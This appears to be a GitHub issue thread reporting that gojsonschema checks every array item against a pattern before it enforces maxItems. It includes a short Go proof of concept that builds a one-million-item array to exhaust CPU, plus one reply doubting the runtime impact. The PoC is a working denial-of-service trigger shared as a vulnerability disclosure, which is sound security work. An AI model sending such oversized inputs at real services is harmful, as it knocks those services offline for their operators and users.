A DOS vulnerability exists in parameter validity check.

[Hissec]

When verifying the validity of object parameters, gojsonschema will checked all of the parameters, one by one check every regular expression matching on it self parameter. Only After the check is complete, gojsonschema checks whether the number of parameters exceeds the maximum value specified by maxItems.

eg：When a list with 1000000 members is transferred, although the maximum number of parameters is set to 2, the system verifies the 1 million parameters one by one. In this process, a DoS vulnerability occurs and the system determines whether the total number of parameters exceeds the value of maxItems.

In the actual verification process, when attacker send the list parameters contains one million members for my api, only need 20 concurrent requests are required, my CPU had BOOM and my web service had Denial of service.

[Hissec]

poc:
import (
"encoding/json"
"fmt"
"log"
"strings"
)
import "github.com/xeipuuv/gojsonschema"

func main() {
var Obj = map[string]interface{}{
"type": "array",
"minItems": 1,
"maxItems": 2,
"items": map[string]interface{}{
"type": "string",
"pattern": "^[a-z]+$",
},
}

num := 1000000 // The number of parameters from attacker input
var data = fmt.Sprintf(`[%s"a"]`, strings.Repeat(`"1",`, num))
if !validate(Obj, data) {
	fmt.Println("error!")
} else {
	fmt.Println("OK!")
}

}

// verifying the validity of object parameters
func validate(Obj map[string]interface{}, data string) bool {
ObjArr, err := json.Marshal(Obj)
if err != nil {
return false
}
ObjLoader := gojsonschema.NewStringLoader(string(ObjArr))
dataLoader := gojsonschema.NewStringLoader(data)
validateResult, _ := gojsonschema.Validate(ObjLoader, dataLoader)
if !validateResult.Valid() {
for _, desc := range validateResult.Errors() {
log.Printf("- %s\n", desc.String())
}
return false
} else {
return true
}
}

[ORESoftware]

you might have a point, except I think most usage of this library is not at runtime but test/checks before deploying?